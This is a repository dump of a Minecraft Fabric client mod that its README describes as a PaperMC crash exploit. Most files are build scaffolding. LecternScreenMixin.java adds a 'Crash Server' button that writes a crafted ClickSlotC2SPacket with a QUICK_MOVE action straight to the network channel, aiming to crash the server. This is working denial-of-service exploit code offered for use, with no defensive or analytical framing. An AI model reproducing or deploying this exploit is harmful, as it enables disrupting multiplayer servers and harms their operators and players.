├── README.md ├── build.gradle ├── build ├── classes │ └── java │ │ └── main │ │ ├── lecterncrash-refmap.json │ │ └── net │ │ └── lecterncrash │ │ ├── MainClient.class │ │ └── mixin │ │ ├── LecternScreenMixin.class │ │ └── accessor │ │ └── ClientConnectionAccessor.class ├── devlibs │ ├── lecterncrash-1.0.0-dev.jar │ └── lecterncrash-1.0.0-sources.jar ├── libs │ ├── lecterncrash-1.0.0-sources.jar │ └── lecterncrash-1.0.0.jar ├── loom-cache │ └── mixin-map-net.fabricmc.yarn.1_18_2.1.18.2+build.1-v2.main.tiny ├── resources │ └── main │ │ ├── assets │ │ └── lecterncrash │ │ │ └── icon.png │ │ ├── fabric.mod.json │ │ └── lecterncrash.mixins.json └── tmp │ ├── compileJava │ └── previous-compilation-data.bin │ ├── jar │ └── MANIFEST.MF │ ├── remapJar │ └── MANIFEST.MF │ ├── remapSourcesJar │ └── MANIFEST.MF │ └── sourcesJar │ └── MANIFEST.MF ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src └── main ├── java └── net │ └── lecterncrash │ ├── MainClient.java │ └── mixin │ ├── LecternScreenMixin.java │ └── accessor │ └── ClientConnectionAccessor.java └── resources ├── assets └── lecterncrash │ └── icon.png ├── fabric.mod.json └── lecterncrash.mixins.json /README.md: -------------------------------------------------------------------------------- 1 | # lectern-crash 2 | A PaperMC crash exploit / hack (fabric mod) 3 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'fabric-loom' version '0.11-SNAPSHOT' 3 | id 'maven-publish' 4 | } 5 | 6 | sourceCompatibility = JavaVersion.VERSION_17 7 | targetCompatibility = JavaVersion.VERSION_17 8 | 9 | archivesBaseName = project.archives_base_name 10 | version = project.mod_version 11 | group = project.maven_group 12 | 13 | repositories { 14 | // Add repositories to retrieve artifacts from in here. 15 | // You should only use this when depending on other mods because 16 | // Loom adds the essential maven repositories to download Minecraft and libraries from automatically. 17 | // See https://docs.gradle.org/current/userguide/declaring_repositories.html 18 | // for more information about repositories. 19 | } 20 | 21 | dependencies { 22 | // To change the versions see the gradle.properties file 23 | minecraft "com.mojang:minecraft:${project.minecraft_version}" 24 | mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2" 25 | modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" 26 | 27 | // Fabric API. This is technically optional, but you probably want it anyway. 28 | modImplementation "net.fabricmc.fabric-api:fabric-api:${project.fabric_version}" 29 | } 30 | 31 | processResources { 32 | inputs.property "version", project.version 33 | 34 | filesMatching("fabric.mod.json") { 35 | expand "version": project.version 36 | } 37 | } 38 | 39 | tasks.withType(JavaCompile).configureEach { 40 | // Minecraft 1.18 (1.18-pre2) upwards uses Java 17. 41 | it.options.release = 17 42 | } 43 | 44 | java { 45 | // Loom will automatically attach sourcesJar to a RemapSourcesJar task and to the "build" task 46 | // if it is present. 47 | // If you remove this line, sources will not be generated. 48 | withSourcesJar() 49 | } 50 | 51 | jar { 52 | from("LICENSE") { 53 | rename { "${it}_${project.archivesBaseName}"} 54 | } 55 | } 56 | 57 | // configure the maven publication 58 | publishing { 59 | publications { 60 | mavenJava(MavenPublication) { 61 | from components.java 62 | } 63 | } 64 | 65 | // See https://docs.gradle.org/current/userguide/publishing_maven.html for information on how to set up publishing. 66 | repositories { 67 | // Add repositories to publish to here. 68 | // Notice: This block does NOT have the same function as the block in the top level. 69 | // The repositories here will be used for publishing your artifact, not for 70 | // retrieving dependencies. 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /build/classes/java/main/lecterncrash-refmap.json: -------------------------------------------------------------------------------- 1 | { 2 | "mappings": { 3 | "net/lecterncrash/mixin/accessor/ClientConnectionAccessor": { 4 | "channel": "field_11651:Lio/netty/channel/Channel;" 5 | }, 6 | "net/lecterncrash/mixin/LecternScreenMixin": { 7 | "init": "Lnet/minecraft/class_3935;method_25426()V" 8 | } 9 | }, 10 | "data": { 11 | "named:intermediary": { 12 | "net/lecterncrash/mixin/accessor/ClientConnectionAccessor": { 13 | "channel": "field_11651:Lio/netty/channel/Channel;" 14 | }, 15 | "net/lecterncrash/mixin/LecternScreenMixin": { 16 | "init": "Lnet/minecraft/class_3935;method_25426()V" 17 | } 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /build/classes/java/main/net/lecterncrash/MainClient.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/classes/java/main/net/lecterncrash/MainClient.class -------------------------------------------------------------------------------- /build/classes/java/main/net/lecterncrash/mixin/LecternScreenMixin.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/classes/java/main/net/lecterncrash/mixin/LecternScreenMixin.class -------------------------------------------------------------------------------- /build/classes/java/main/net/lecterncrash/mixin/accessor/ClientConnectionAccessor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/classes/java/main/net/lecterncrash/mixin/accessor/ClientConnectionAccessor.class -------------------------------------------------------------------------------- /build/devlibs/lecterncrash-1.0.0-dev.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/devlibs/lecterncrash-1.0.0-dev.jar -------------------------------------------------------------------------------- /build/devlibs/lecterncrash-1.0.0-sources.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/devlibs/lecterncrash-1.0.0-sources.jar -------------------------------------------------------------------------------- /build/libs/lecterncrash-1.0.0-sources.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/libs/lecterncrash-1.0.0-sources.jar -------------------------------------------------------------------------------- /build/libs/lecterncrash-1.0.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/libs/lecterncrash-1.0.0.jar -------------------------------------------------------------------------------- /build/loom-cache/mixin-map-net.fabricmc.yarn.1_18_2.1.18.2+build.1-v2.main.tiny: -------------------------------------------------------------------------------- 1 | v1 named intermediary 2 | -------------------------------------------------------------------------------- /build/resources/main/assets/lecterncrash/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/resources/main/assets/lecterncrash/icon.png -------------------------------------------------------------------------------- /build/resources/main/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "lecterncrash", 4 | "version": "1.0.0", 5 | 6 | "name": "Lectern", 7 | "description": "very sussy papermc crash exploit", 8 | "authors": [ 9 | "Coderx_Gamer" 10 | ], 11 | "contact": { 12 | "homepage": "https://fabricmc.net/", 13 | "sources": "https://github.com/FabricMC/fabric-example-mod" 14 | }, 15 | 16 | "license": "CC0-1.0", 17 | "icon": "assets/lecterncrash/icon.png", 18 | 19 | "environment": "client", 20 | "entrypoints": { 21 | "client": [ 22 | "net.lecterncrash.MainClient" 23 | ] 24 | }, 25 | "mixins": [ 26 | "lecterncrash.mixins.json" 27 | ], 28 | 29 | "depends": { 30 | "fabricloader": ">=0.13.3", 31 | "fabric": "*", 32 | "minecraft": "1.18.x", 33 | "java": ">=17" 34 | }, 35 | "suggests": { 36 | "another-mod": "*" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /build/resources/main/lecterncrash.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "minVersion": "0.8", 4 | "package": "net.lecterncrash.mixin", 5 | "compatibilityLevel": "JAVA_17", 6 | "client": [ 7 | "LecternScreenMixin", 8 | "accessor.ClientConnectionAccessor" 9 | ], 10 | "injectors": { 11 | "defaultRequire": 1 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /build/tmp/compileJava/previous-compilation-data.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/build/tmp/compileJava/previous-compilation-data.bin -------------------------------------------------------------------------------- /build/tmp/jar/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | 3 | -------------------------------------------------------------------------------- /build/tmp/remapJar/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | 3 | -------------------------------------------------------------------------------- /build/tmp/remapSourcesJar/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | 3 | -------------------------------------------------------------------------------- /build/tmp/sourcesJar/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | 3 | -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | # Done to increase the memory available to gradle. 2 | org.gradle.jvmargs=-Xmx1G 3 | 4 | # Fabric Properties 5 | # check these on https://fabricmc.net/develop 6 | minecraft_version=1.18.2 7 | yarn_mappings=1.18.2+build.1 8 | loader_version=0.13.3 9 | 10 | # Mod Properties 11 | mod_version = 1.0.0 12 | maven_group = net.lecterncrash 13 | archives_base_name = lecterncrash 14 | 15 | # Dependencies 16 | fabric_version=0.47.8+1.18.2 17 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.4-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/gradlew -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | mavenCentral() 8 | gradlePluginPortal() 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/net/lecterncrash/MainClient.java: -------------------------------------------------------------------------------- 1 | package net.lecterncrash; 2 | 3 | import net.fabricmc.api.ClientModInitializer; 4 | 5 | public class MainClient implements ClientModInitializer { 6 | @Override 7 | public void onInitializeClient() { 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/main/java/net/lecterncrash/mixin/LecternScreenMixin.java: -------------------------------------------------------------------------------- 1 | package net.lecterncrash.mixin; 2 | 3 | import com.google.common.collect.Lists; 4 | import it.unimi.dsi.fastutil.ints.Int2ObjectMap; 5 | import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap; 6 | import net.lecterncrash.mixin.accessor.ClientConnectionAccessor; 7 | import net.minecraft.client.MinecraftClient; 8 | import net.minecraft.client.gui.screen.Screen; 9 | import net.minecraft.client.gui.screen.ingame.LecternScreen; 10 | import net.minecraft.client.gui.widget.ButtonWidget; 11 | import net.minecraft.item.ItemStack; 12 | import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; 13 | import net.minecraft.screen.ScreenHandler; 14 | import net.minecraft.screen.slot.Slot; 15 | import net.minecraft.screen.slot.SlotActionType; 16 | import net.minecraft.text.Text; 17 | import net.minecraft.util.collection.DefaultedList; 18 | import org.spongepowered.asm.mixin.Mixin; 19 | import org.spongepowered.asm.mixin.injection.At; 20 | import org.spongepowered.asm.mixin.injection.Inject; 21 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 22 | 23 | import java.util.List; 24 | 25 | @Mixin(LecternScreen.class) 26 | public class LecternScreenMixin extends Screen { 27 | protected LecternScreenMixin(Text title) { 28 | super(title); 29 | } 30 | 31 | @Inject(at = @At("TAIL"), method = "init") 32 | public void init(CallbackInfo ci) { 33 | this.addDrawableChild(new ButtonWidget(10, 10, 160, 20, Text.of("Crash Server"), (button) -> { 34 | ScreenHandler screenHandler = client.player.currentScreenHandler; 35 | DefaultedList defaultedList = screenHandler.slots; 36 | int i = defaultedList.size(); 37 | List list = Lists.newArrayListWithCapacity(i); 38 | 39 | for (Slot slot : defaultedList) { 40 | list.add(slot.getStack().copy()); 41 | } 42 | 43 | Int2ObjectMap int2ObjectMap = new Int2ObjectOpenHashMap<>(); 44 | 45 | for(int slot = 0; slot < i; ++slot) { 46 | ItemStack itemStack = list.get(slot); 47 | ItemStack itemStack2 = (defaultedList.get(slot)).getStack(); 48 | if (!ItemStack.areEqual(itemStack, itemStack2)) { 49 | int2ObjectMap.put(slot, itemStack2.copy()); 50 | } 51 | } 52 | 53 | ((ClientConnectionAccessor) client.getNetworkHandler().getConnection()).getChannel().writeAndFlush(new ClickSlotC2SPacket(client.player.currentScreenHandler.syncId, client.player.currentScreenHandler.getRevision(), 0, 0, SlotActionType.QUICK_MOVE, client.player.currentScreenHandler.getCursorStack().copy(), int2ObjectMap)); 54 | client.player.sendMessage(Text.of("Crashing Server..."), false); 55 | button.active = false; 56 | })); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/net/lecterncrash/mixin/accessor/ClientConnectionAccessor.java: -------------------------------------------------------------------------------- 1 | package net.lecterncrash.mixin.accessor; 2 | 3 | import io.netty.channel.Channel; 4 | import net.minecraft.network.ClientConnection; 5 | import org.spongepowered.asm.mixin.Mixin; 6 | import org.spongepowered.asm.mixin.gen.Accessor; 7 | 8 | @Mixin(ClientConnection.class) 9 | public interface ClientConnectionAccessor { 10 | @Accessor 11 | Channel getChannel(); 12 | } 13 | -------------------------------------------------------------------------------- /src/main/resources/assets/lecterncrash/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Coderx-Gamer/lectern-crash/504d84b9b5daab6634ba7ca8b95eeeef8ebb5331/src/main/resources/assets/lecterncrash/icon.png -------------------------------------------------------------------------------- /src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "lecterncrash", 4 | "version": "${version}", 5 | 6 | "name": "Lectern", 7 | "description": "very sussy papermc crash exploit", 8 | "authors": [ 9 | "Coderx_Gamer" 10 | ], 11 | "contact": { 12 | "homepage": "https://fabricmc.net/", 13 | "sources": "https://github.com/FabricMC/fabric-example-mod" 14 | }, 15 | 16 | "license": "CC0-1.0", 17 | "icon": "assets/lecterncrash/icon.png", 18 | 19 | "environment": "client", 20 | "entrypoints": { 21 | "client": [ 22 | "net.lecterncrash.MainClient" 23 | ] 24 | }, 25 | "mixins": [ 26 | "lecterncrash.mixins.json" 27 | ], 28 | 29 | "depends": { 30 | "fabricloader": ">=0.13.3", 31 | "fabric": "*", 32 | "minecraft": "1.18.x", 33 | "java": ">=17" 34 | }, 35 | "suggests": { 36 | "another-mod": "*" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/resources/lecterncrash.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "minVersion": "0.8", 4 | "package": "net.lecterncrash.mixin", 5 | "compatibilityLevel": "JAVA_17", 6 | "client": [ 7 | "LecternScreenMixin", 8 | "accessor.ClientConnectionAccessor" 9 | ], 10 | "injectors": { 11 | "defaultRequire": 1 12 | } 13 | } 14 | --------------------------------------------------------------------------------